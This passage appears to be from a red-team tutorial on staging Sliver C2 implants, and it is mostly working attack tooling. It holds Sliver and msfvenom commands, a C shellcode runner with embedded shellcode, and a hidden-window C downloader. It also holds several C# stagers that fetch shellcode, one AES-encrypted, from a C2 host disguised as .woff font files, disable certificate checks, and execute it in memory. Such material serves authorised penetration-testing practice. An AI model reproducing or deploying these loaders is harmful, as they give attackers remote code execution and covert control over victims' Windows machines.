profiles new --mtls 10.8.0.14:53 --skip-symbols --format shellcode --arch amd64 win64
profiles new beacon --mtls 10.8.0.14:53 --skip-symbols --format shellcode --arch amd64 win64-beacon
Sliver can itself generate stagers, which are very small pieces of shellcode communicating with your stage listener. You may be able to deliver such shellcode with an exploit, or make it part of yet another program that just loads and executes it. The latter is what I’ll demonstrate below.
Output format (msfvenom formats, see help generate stager for the list) (default: raw)
generate stager --lhost 10.8.0.14 --lport 8443 --arch amd64 --format c --save /tmp
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=10.8.0.14 LPORT=8443 LURI=/d3sty.woff -f raw -o /tmp/stager.bin
If you want to use stagers generated by the Metasploit Framework with Sliver (using msfconsole, msfvenom or the generate stager command), you will need to pass the additional --prepend-size flag to stage-listener, like this:
stage-listener --url http://10.8.0.14:8443 --profile win64-beacon --prepend-size
generate stager --lhost 10.8.0.14 --lport 8443 --arch amd64 --format c --save /tmp
#include "windows.h"
int main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\xbb\xe0\x1d\x2a\x0a\x41\x89\xda\xff"
"\xd5";
void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
x86_64-w64-mingw32-gcc -o runner.exe runner.c
Sliver staging listeners only accept tcp://
, http://
and https://
schemes for the --url
flag. The format for this flag is scheme://IP:PORT
. If no value is specified for PORT, an error will be thrown out.
stage-listener --url http://10.8.0.3:8443 --profile win64-beacon --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
stage-listener --url tcp://10.8.0.14:8443 --profile win64
stage-listener --url tcp://10.8.0.14:8443 --profile win64-beacon
#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment (lib, "Wininet.lib")
struct Shellcode {
byte* data;
DWORD len;
};
Shellcode Download(LPCWSTR host, INTERNET_PORT port);
void Execute(Shellcode shellcode);
int main() {
::ShowWindow(::GetConsoleWindow(), SW_HIDE); // hide console window
Shellcode shellcode = Download(L"10.8.0.14", 8443);
Execute(shellcode);
return 0;
}
Shellcode Download(LPCWSTR host, INTERNET_PORT port) {
HINTERNET session = InternetOpen(
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36",
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0);
HINTERNET connection = InternetConnect(
session,
host,
port,
L"",
L"",
INTERNET_SERVICE_HTTP,
0,
0);
HINTERNET request = HttpOpenRequest(
connection,
L"GET",
L"/fontawesome.woff",
NULL,
NULL,
NULL,
0,
0);
WORD counter = 0;
while (!HttpSendRequest(request, NULL, 0, 0, 0)) {
//printf("Error sending HTTP request: : (%lu)\n", GetLastError()); // only for debugging
counter++;
Sleep(3000);
if (counter >= 3) {
exit(0); // HTTP requests eventually failed
}
}
DWORD bufSize = BUFSIZ;
byte* buffer = new byte[bufSize];
DWORD capacity = bufSize;
byte* payload = (byte*)malloc(capacity);
DWORD payloadSize = 0;
while (true) {
DWORD bytesRead;
if (!InternetReadFile(request, buffer, bufSize, &bytesRead)) {
//printf("Error reading internet file : <%lu>\n", GetLastError()); // only for debugging
exit(0);
}
if (bytesRead == 0) break;
if (payloadSize + bytesRead > capacity) {
capacity *= 2;
byte* newPayload = (byte*)realloc(payload, capacity);
payload = newPayload;
}
for (DWORD i = 0; i < bytesRead; i++) {
payload[payloadSize++] = buffer[i];
}
}
byte* newPayload = (byte*)realloc(payload, payloadSize);
InternetCloseHandle(request);
InternetCloseHandle(connection);
InternetCloseHandle(session);
struct Shellcode out;
out.data = payload;
out.len = payloadSize;
return out;
}
void Execute(Shellcode shellcode) {
void* exec = VirtualAlloc(0, shellcode.len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode.data, shellcode.len);
((void(*)())exec)();
}
using System;
using System.Net;
using System.Runtime.InteropServices;
namespace Sliver_stager
{
class Program
{
public static void Main(String[] args)
{
byte[] shellcode = Download("http://sliver.labnet.local/fontawesome.woff");
Execute(shellcode);
return;
}
private static byte[] Download(string url)
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
return shellcode;
}
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static void Execute(byte[] shellcode)
{
IntPtr addr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, 0x1000, 0x40);
Marshal.Copy(shellcode, 0, (IntPtr)(addr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
IntPtr threadId = IntPtr.Zero;
hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
}
}
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
namespace Sliver_stager
{
class Program
{
private static string AESKey = "D(G+KbPeShVmYq3t";
private static string AESIV = "8y/B?E(G+KbPeShV";
private static string url = "http://192.168.24.128:8443/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
List<byte> l = new List<byte> { };
for (int i = 16; i <= shellcode.Length -1; i++) {
l.Add(shellcode[i]);
}
byte[] actual = l.ToArray();
byte[] decrypted;
decrypted = Decrypt(actual, AESKey, AESIV);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
Marshal.Copy(decrypted, 0, addr, decrypted.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
{
byte[] key = Encoding.UTF8.GetBytes(AESKey);
byte[] IV = Encoding.UTF8.GetBytes(AESIV);
using (Aes aesAlg = Aes.Create())
{
aesAlg.Key = key;
aesAlg.IV = IV;
aesAlg.Padding = PaddingMode.None;
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
using (MemoryStream memoryStream = new MemoryStream(ciphertext))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
{
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
return memoryStream.ToArray();
}
}
}
}
public static void Main(String[] args)
{
DownloadAndExecute();
}
}
}
using System;
using System.Net;
using System.Runtime.InteropServices;
namespace SliverStager
{
public class Stager
{
private static string url = "http://a.bc/test.woff";
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void DownloadAndExecute()
{
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
System.Net.WebClient client = new System.Net.WebClient();
byte[] shellcode = client.DownloadData(url);
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
public static void Main(String[] args)
{
DownloadAndExecute();
}
}
}